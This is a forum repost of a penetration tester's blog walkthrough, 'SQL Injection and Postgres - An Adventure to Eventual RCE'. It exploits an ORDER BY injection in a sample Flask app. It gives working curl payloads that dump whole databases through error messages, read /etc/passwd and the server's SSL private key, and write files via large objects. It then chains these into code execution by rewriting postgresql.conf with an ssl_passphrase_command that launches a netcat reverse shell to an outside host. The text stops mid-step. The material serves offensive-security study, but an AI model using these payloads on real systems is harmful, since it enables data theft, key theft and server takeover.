-
Posts
18664 -
Joined
-
Last visited
-
Days Won
681
Everything posted by Nytro
-
SQL INJECTION AND POSTGRES - AN ADVENTURE TO EVENTUAL RCE by Denis Andzakovic May 5 2020 An SQL injection bug in an ORDER BY clause came up in a recent engagement, which lead to an interesting rabbit hole regarding exploiting SQLi against a PostgreSQL database. This post details some of that adventure. We’ll look at some useful Postgres functions to make exploiting SQLi easier, some interesting file read/write primitives and a path to command execution as the DB user. I’ve included some sample vulnerable code for those of you that want to try this stuff out first hand. I ended up helping one of my Pulse comrades with this injection sink (and then a ‘hey hows it going’ message in the company chat spiralled into, well, this). The database user was a superuser, but without the ability to execute any CREATE/UPDATE/INSERT/DELETE statements from inside a SELECT query, most of the commonly documented methods for further exploitation weren’t available to us. The solution? Dump all the function definitions from Postgres, download the source code and start digging! There’s likely way more interesting stuff inside Postgres, so I’ve included some of my function-finding-and-digging notes at the end. THE BUG I’ve replicated the issue we came across during the engagement in a vulnerable Flask app included at the bottom of this page. I’m a fan of replicating issues with test code, that way I can trawl through logs, run debuggers and have much greater visibility over what’s going on. Once the exploit has been figured out, it can then be launched against the real-life target. In this case, the bug was an SQL injection sink in a parameter that was meant to provide either the ASC or DESC definition for the ORDER BY part of the query. The following snippet shows the bug: cols = ['id','name','note','created_on'] @app.route("/") def index(): result = "<h1> Test some stuff </h1>" order = request.args.get("order") sort = request.args.get("sort") sqlquery = "select * from animals"; if order in cols: sqlquery = sqlquery + " order by " + order if sort: sqlquery = sqlquery + " " + sort cur = conn.cursor() try: cur.execute(sqlquery) except psycopg2.Error as e: conn.rollback() return Response(e.pgerror, mimetype='text/plain') The order parameter is checked against a whitelist, but the sort parameter is not, which results in our injection. Errors are returned in the HTTP response, which is going to make exploitation a whole bunch easier (more on this soon!). By passing order=id&sort=%27, we get the following that confirms the injection: :~$ curl "127.0.0.1:5000/?order=id&sort=%27" ERROR: unterminated quoted string at or near "'" LINE 1: select * from animals order by id ' Marvelous. Note, the original bug we found didn’t allow stacked queries, my Flask+psycopg2 analog does. This post wont look at exploiting query-stacking, given that being able to stack queries means we are no longer confined to a SELECT statement, which gives us the ability to CREATE and INSERT our little hacker hearts away. I’ll have to ask for some suspension-of-disbelief on this one. INJECTION IN ORDER BY Now that we understand the injection point, we need to craft a payload that we can use to pull information out of the database. Let’s look at two ways to achieve that, with response discrepancy and with data exfiltration via error messages. RESPONSE DISCREPANCY The ORDER BY clause allows you to order by multiple columns, provided you separate them by a comma. For example, ORDER BY id, name will order by id, then by name. Postgres allows you to use CASE statements within the ORDER BY clause, which we can leverage to execute a query and test the result. The query we’re after would look something like this: SELECT * FROM ANIMALS ORDER BY note, (CASE WHEN (SELECT '1')='1')+THEN+note+ELSE+id::text+END) If the statement is true, the results will be ordered by note, then note (no change to ordering). If the statement is false, then the results will be ordered by name then id. An important side note. It’s important to ensure the first ORDER BY clause is a column that isn’t unique across all rows. Meaning, it needs to order by a value that’s the same for at least two rows. If the first ORDER BY column is unique in every row, then Postgres will not execute the second order clause! Here’s what that practically looks like: And when its false: You can change that SELECT statement to pull out or whatever data, sub-string it, and test the result character-by-character. This kind of blind injection is documented all over the web, so I won’t be going into that here. Given that we have error messages being returned to us though, there is an easier option. ERROR MESSAGE EXFIL Running seventeen bazillion queries against a SQLi sink is fun and all, but since error messages are returned we can use that instead. By purposefully messing up a CAST, we can get query results via the error message. The payload would look something like this: SELECT CAST(chr(32)||(SELECT pg_user) AS NUMERIC) And the complete injection string, note that in this case the precedence of our ORDER BY parameters doesn’t matter, the CAST executes regardless so specifying any valid column for order works: $ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20version())%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)' ERROR: invalid input syntax for type numeric: " PostgreSQL 11.7 (Debian 11.7-0+deb10u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit" Here’s where things get a little tricky, watch what happens when we try a query that returns more than one row: $ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20*%20FROM%20pg_user)%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)' ERROR: subquery must return only one column LINE 1: ...ls order by id ,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT * ... Wamp. At this point you could use the LIMIT clause, but there is a quicker way. Which leads us too… POSTGRES XML FUNCTIONS Postgres includes some handy dandy XML helpers. If we grep all the available Postgres functions and search for xml, we get the following: xml_in xml_out xmlcomment xml xmlvalidate xml_recv xml_send xmlconcat2 xmlagg table_to_xml query_to_xml cursor_to_xml table_to_xmlschema query_to_xmlschema cursor_to_xmlschema table_to_xml_and_xmlschema query_to_xml_and_xmlschema schema_to_xml schema_to_xmlschema schema_to_xml_and_xmlschema database_to_xml database_to_xmlschema database_to_xml_and_xmlschema xmlexists xml_is_well_formed xml_is_well_formed_document xml_is_well_formed_content We’re going to look at two of these a bit closer, query_to_xml and database_to_xml. QUERY_TO_XML query_to_xml executes a query then returns the result as an XML object. The bonus here is that it will return a single row. So we chain that with the error-based SQLi we discussed earlier and hey presto, execute any SQL statement and retrieve the result, without having to worry about limits or multiple rows. First we need to figure out how to call it. In this case, query_to_xml(query text, nulls boolean, tableforest boolean, targetns text). Or, as part of our injection payload: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_user',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <usename>postgres</usename> <usesysid>10</usesysid> <usecreatedb>true</usecreatedb> <usesuper>true</usesuper> <userepl>true</userepl> <usebypassrls>true</usebypassrls> <passwd>********</passwd> <valuntil xsi:nil="true"/> <useconfig xsi:nil="true"/> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <usename>testuser</usename> <usesysid>16385</usesysid> <usecreatedb>false</usecreatedb> <usesuper>true</usesuper> <userepl>false</userepl> <usebypassrls>false</usebypassrls> <passwd>********</passwd> <valuntil xsi:nil="true"/> <useconfig xsi:nil="true"/> </row> Glorious. Also, note that the Postgres user that we’re connecting as is a super user, that’s going to come in handy shortly. DATABASE_TO_XML We can also use the xml helpers to dump the entire DB with a single query. Ok, so fair warning, on a big database or any kind of production app, you probably don’t want to do this. But with that out of the way, here’s how you dump the entire database using a single query from inside an error-based SQLi. When we did this against the real-world app (in a test environment!), we ended up with a 150MB xml file. So use caution. Anyway, what you want is database_to_xml(true,true,''). Here’s what that looks like: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20database_to_xml(true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <testdb xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <public> <animals> <id>1</id> <name>dog</name> <note>is a good dog</note> <created_on>2020-05-04T14:40:16.909665</created_on> </animals> <animals> <id>2</id> <name>cat</name> <note>adorable, if passive aggressive</note> <created_on>2020-05-04T14:40:16.915896</created_on> </animals> <animals> <id>3</id> <name>fish</name> <note>fish go blub</note> <created_on>2020-05-04T14:40:16.918411</created_on> </animals> <animals> <id>4</id> <name>whale</name> <note>also go blub</note> <created_on>2020-05-04T14:40:16.920589</created_on> </animals> <animals> <id>5</id> <name>shrimp</name> <note>also go blub</note> <created_on>2020-05-04T14:40:16.92258</created_on> </animals> <animals> <id>6</id> <name>giraffe</name> <note>long neck, neato spots</note> <created_on>2020-05-04T14:40:16.924759</created_on> </animals> <animals> <id>7</id> <name>rock</name> <note>TICKET 1143 rock is not animal</note> <created_on>2020-05-04T14:40:16.926717</created_on> </animals> <secrets> <id>1</id> <name>some-secret</name> <secret_info>super secret info in the db</secret_info> </secrets> </public> </testdb> " If you’d like to be more subtle, use database_to_xmlschema to figure out the DB structure, then query_to_xml to pull just what you need. FILE READ AND WRITE Since our user is a super user, we can read and write files to any location on the file-system using Postgres’ large objects. But first, a note on some of the more widely documented techniques for file read and dir listing. PG_LS_DIR AND PG_READ_FILE CHANGES pg_ls_dir and pg_read_file are detailed in various Postgres SQLi cheatsheets. These methods did not allow absolute paths in prior versions of Postgres, but as of this commit, members of the DEFAULT_ROLE_READ_SERVER_FILES group and super users can use these methods on any path (check out convert_and_check_filename in genfile.c). Unfortunately, the target-app-in-real-life was running on an older version of Postgres, so no global file read and directory listing. Our demo analog app is on Debian 10 with Postgres 11 installed via apt, and is connecting as a super user, so no problem: $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_ls_dir(''/'')',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>vmlinuz.old</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>srv</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>initrd.img.old</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>proc</pg_ls_dir> </row> ...snip... <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>var</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>dev</pg_ls_dir> </row> $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20pg_read_file('/etc/passwd'))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...snip... postgres:x:108:114:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash " READING AND WRITING FILES WITH LARGE OBJECTS Postgres large objects provide a mechanism to store data, as well as read and write things from the file-system. Looking at our function list, we can see the following methods: lo_close lo_creat lo_create lo_export lo_from_bytea lo_get lo_import lo_lseek lo_lseek64 lo_open lo_put lo_tell lo_tell64 lo_truncate lo_truncate64 lo_unlink We’re going to be focusing on lo_import and lo_export to read and write files, respectively. The two tables that data ends up in is pg_largeobject and pg_largeobject_metadata. These methods are run inside a transaction block, meaning that the request has to be successful and not roll back. So no error-based SQLi, we need an SQLi payload the executes successfully. FILE READ WITH LO_IMPORT lo_import allows you to specify a file-system path. The file will be read and loaded into a large object, with the OID of the object returned. Using query_to_xml, we can request the pg_largeobject able and pull the data out, neatly base64-ed by the XML function. So to load /etc/passwd, we’d using the following payload: , (CASE WHEN (SELECT lo_import('/etc/passwd'))='1')+THEN+note+ELSE+id::text+END) $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/passwd')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name</th><th>note</th><th>created</th><tr><td>1</td><td>dog</td><td>is a good dog</td>...snip... We get a legitimate application response, no error. Now the /etc/passwd file should be waiting for us in the pg_largeobject table: $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16437</loid> <pageno>0</pageno> <data>cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91 c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmlu L25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0 OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2Ft ZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vz ci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25v bG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdz Ong6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDox MDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEz OjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ct ZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6 L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExp c3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJj ZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMg QnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4v bm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Iv c2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4v bm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAxOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hy b25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5l dHdvcms6eDoxMDI6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lz dGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDM6MTA0OnN5c3Rl bWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2Vi dXM6eDoxMDQ6MTEwOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KZG9pOng6MTAw MDoxMDAwOmRvaSwsLDovaG9tZS9kb2k6L2Jpbi9iYXNoCnN5c3RlbWQtY29yZWR1bXA6eDo5 OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgpsaWdodGRt Ong6MTA1OjExMjpMaWdodCBEaXNwbGF5IE1hbmFnZXI6L3Zhci9saWIvbGlnaHRkbTovYmlu L2ZhbHNlCnNzaGQ6eDoxMDY6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp1 c2JtdXg6eDoxMDc6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9z YmluL25vbG9naW4KcG9zdGdyZXM6eDoxMDg6MTE0OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRv ciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaAo=</data> </row> Awesome. You could also use the lo_get method and the OID above, if you were so inclined. FILE WRITE WITH LO_EXPORT lo_export takes a large object OID and a path, writing the file out to the path as the database user (postgres, in my case). I’m going to reuse the large object OID we created in the previous step to test this. The payload will be: , (CASE WHEN (SELECT lo_export(16437,'/dev/shm/testing'))='1')+THEN+note+ELSE+id::text+END) $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16437,'/dev/shm/testing')=%271%27)%20THEN%20name%20ELSE%20note%20END)" $ ls -l /dev/shm/ total 12 -rw------- 1 postgres postgres 6928 May 1 16:43 PostgreSQL.1150217542 -rw-r--r-- 1 postgres postgres 1601 May 4 17:53 testing Arbitrary file write can be performed by using lo_from_bytea to create a large object with a specified byte array, for example: select lo_from_bytea(0,'this is a test file with test bytes'); Now the question becomes ‘what can we write to the file-system as the postgres user to achieve code execution’? Were the DB and the web server on the same host that might open up some options, but in this case we had a standalone DB server. CLEANING UP LARGE OBJECTS Large objects can be removed using the select lo_unlink(OID) command. Running a select * from pg_largeobject and removing any objects you’ve created is going to be a good step to add to you engagement-clean-and-wrap-up routine. COMMAND EXECUTION - JUST STRAIGHT-UP OVERWRITE THE CONFIG FILE One of the things that came to mind was to look for an option in a config file that the postgres user can write that will let us specify an arbitrary command that’ll get executed… somewhere. Double-checking that the config file is indeed owned by postgres: $ ls -l /etc/postgresql/11/main/postgresql.conf -rw-r--r-- 1 postgres postgres 24194 May 1 16:31 /etc/postgresql/11/main/postgresql.conf Dumping all the configuration options and looking for command showed the following: testdb=# select name, short_desc from pg_settings where name like '%command%' ; name | short_desc ----------------------------------------+------------------------------------------------------------------- archive_command | Sets the shell command that will be called to archive a WAL file. log_replication_commands | Logs each replication command. ssl_passphrase_command | Command to obtain passphrases for SSL. ssl_passphrase_command_supports_reload | Also use ssl_passphrase_command during server reload. (4 rows) ssl_passphrase_command looks hopefull, lets check that out in the config file: # - SSL - ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = off Excellent, that’ll do. We can overwrite the config file to set a command. This will execute when we tell postgres to reload the configuration file. “But isn’t overwriting the config file super risky?” Yes, and it’s up to you to work out how to not wreck anything that shouldn’t be wrecked. That said, select pg_reload_conf() wont take down the server if our shell fails to decrypt the private key. However, a systemctl restart postgres or a server reboot and the database won’t come back. So we need to be sneaky. For the command to execute, ssl_key_file needs to point to a key that’s protected by a passphrase. We could upload our own key file using lo_export, but we run into an issue before the command is executed: 2020-05-04 18:30:43.485 NZST [22651] DETAIL: File must have permissions u=rw (0600) or less if owned by the database user, or permissions u=rw,g=r (0640) or less if owned by root. 2020-05-04 18:30:43.485 NZST [22651] LOG: SSL configuration was not reloaded Both of the above problems can be dealt with by downloading the existing private key using lo_import (snakeoil, on debian), setting a passphrase on the key and re-uploading it. We double the sneakiness by using an exploit command that actually returns the passphrase so the key successfully decrypts. The plan at this point is: lo_import the current config file and the existing private key Dump the config, confirm we have the right file and location Dump the key, add a passphrase Use lo_from_bytea and lo_put to update the config file to execute a malicious command, and add the tweaked private key lo_export the doctored config and key back to disk Execute pg_reload_conf() to load the new configuration Let’s work on getting the private-key and RCE payload working correctly first. I like to figure this all out outside of the confines of the SQLi bug, then string everything together in the end. The idea is that if I have made any wrong assumptions on how things work, I’m not trying to debug that through another vulnerability. Fail-fast and all that. BUILDING AN RCE PAYLOAD The payload needs to meet the requirements as set out in the Postgres docs. Basically, it needs to exit 0 and return the passphrase on stdout. ssl_passphrase_command (string) Sets an external command to be invoked when a passphrase for decrypting an SSL file such as a private key needs to be obtained. By default, this parameter is empty, which means the built-in prompting mechanism is used. The command must print the passphrase to the standard output and exit with code 0. In the parameter value, %p is replaced by a prompt string. (Write %% for a literal %.) Note that the prompt string will probably contain whitespace, so be sure to quote adequately. A single newline is stripped from the end of the output if present. The command does not actually have to prompt the user for a passphrase. It can read it from a file, obtain it from a keychain facility, or similar. It is up to the user to make sure the chosen mechanism is adequately secure. This parameter can only be set in the postgresql.conf file or on the server command line. Though you could upload any kind of malicious file you’d like with lo_export, I achieved the end goal here by using bash. The payload for the ssl passphrase command was as follows: bash -c 'test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0' The code checks if a pipe exists, and creates it if it doesn’t. A netcat reverse shell is then executed and backgrounded. After that, we echo the passphrase and exit 0. Next, we need to figure out how to add a passphrase to the private key. The openssl command can be used to add a passphrase to an existing key: ~/tmp$ sudo openssl rsa -aes256 -in /etc/ssl/private/ssl-cert-snakeoil.key -out ./ssl-cert-snakeoil.key writing RSA key Enter PEM pass phrase: passphrase Verifying - Enter PEM pass phrase: passphrase ~/tmp$ Excellent. This is the part where you manually update the config file and make sure that everything works as intended. There is a minor wrinkle where if a shell was currently open and someone tried to restart Postgres, the restart process would hang on Stopping PostgreSQL Cluster 11-main... until you exit netcat. Something to keep in mind. Another option would be to curl whatever stager you feel like to /dev/shm and execute that, rather than trying to tackle job-control in a netcat one liner. You do you though. Alright, so ready to go right? WRONG: :~$ sudo ls -l /etc/ssl/private/ssl-cert-snakeoil.key -rw-r----- 1 root ssl-cert 1766 May 4 20:18 /etc/ssl/private/ssl-cert-snakeoil.key The postgres user can’t overwrite that file, and the default umask will create files with the wrong permissions. It’s fine, it’s fine, we just need a file that’s already owned by the postgres user and has 0600 permissions. There should be at least one, right? :/# find / -user postgres -type f -perm 0600 2> /dev/null | wc -l 1297 805260 8 -rw------- 1 postgres postgres 6895 May 4 20:20 /var/lib/postgresql/.psql_history 805261 4 -rw------- 1 postgres postgres 258 May 4 20:21 /var/lib/postgresql/.bash_history These two look good, but I kind of feel like that would be cheating, so moving on. :/# ls -l /var/lib/postgresql/11/main/PG_VERSION -rw------- 1 postgres postgres 3 May 1 16:31 /var/lib/postgresql/11/main/PG_VERSION :/# cat /var/lib/postgresql/11/main/PG_VERSION 11 OK that looks better, lets try string everything together and get our shell. THE EXPLOIT So with the prototype finished, here is the final SQLi to RCE dance: STEP ONE - GET THE CONFIG FILE :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20setting%20from%20pg_settings%20where%20name=''config_file''',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <setting>/etc/postgresql/11/main/postgresql.conf</setting> </row> " :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name...snip... :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name...snip... :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20loid%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16441</loid> </row> ...snip... <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16442</loid> </row> " :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16441</loid> <pageno>3</pageno> <data>b3VuZAojYmd3cml0ZXJfZmx1c2hfYWZ0ZXIgPSA1MTJrQgkJIyBtZWFzdXJlZCBpbiBwYWdl cywgMCBkaXNhYmxlcwoKIyAtIEFzeW5jaHJvbm91cyBCZWhhdmlvciAtCgojZWZmZWN0aXZl X2lvX2NvbmN1cnJlbmN5ID0gMQkJIyAxLTEwMDA7IDAgZGlzYWJsZXMgcHJlZmV0Y2hpbmcK I21heF93b3JrZXJfcHJvY2Vzc2VzID0gOAkJIyAoY2hhbmdlIHJlcXVpcmVzIHJlc3RhcnQp CiNtYXhfcGFyYWxsZWxfbWFpbnRlbmFuY2Vfd29ya2VycyA9IDIJIyB0YWtlbiBmcm9tIG1h eF9wYXJhbGxlbF93b3JrZXJzCiNtYXhfcGFyYWxsZWxfd29ya2Vyc19wZXJfZ2F0aGVyID0g MgkjIHRha2VuIGZyb20gbWF4X3BhcmFsbGVsX3dvcmtlcnMKI3BhcmFsbGVsX2xlYWRlcl9w YXJ0aWNpcGF0aW9uID0gb24KI21heF9 16441 will be our “clean” config that we can spool out to disk if we need to roll back in a hurry. 16442 is what we will mess with. After concatenating all the base64 blobs and spooling to disk, we get the config file. The SSL parameters is what we’re interested in: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16441''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | tee file ...snip... :~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done | grep ssl ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = on STEP TWO - GET THE PRIVATE KEY Next we need to grab the the private key :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/ssl/private/ssl-cert-snakeoil.key')=%271%27)%20THEN%20name%20ELSE%20note%20END)" :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16443''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | tee file ...snip... :~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done > private.key Add a passphrase: :~$ openssl rsa -aes256 -in private.key -out private_passphrase.key writing RSA key Enter PEM pass phrase: passphrase Verifying - Enter PEM pass phrase: passphrase And upload the result into a large object. We can use lo_from_bytea to create the object, then lo_put to append. lo_put returns void, which throws an error when used in the CASE statement. Solution here is to wrap it in pg_typeof, which we can check against an int. I used a sketchy one-liner to break this up so it’ll fit in the GET parameters neatly: :~$ I=0; xxd -p private_passphrase.key | while read line do if [ $I == 0 ] then echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x$line')=%271%27)%20THEN%20name%20ELSE%20note%20END)\"" else echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,$I,'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\"" fi ; I=$(($I+30)); done curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d')=%271%27)%20THEN%20name%20ELSE%20note%20END)" curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,30,'\x2d0a50726f632d547970653a20342c454e435259505445440a44454b2d49'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" ...snip... curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,1740,'\x2d454e44205253412050524956415445204b45592d2d2d2d2d0a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" Double check that the uploaded key makes sense: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''43210''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done | md5sum % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload 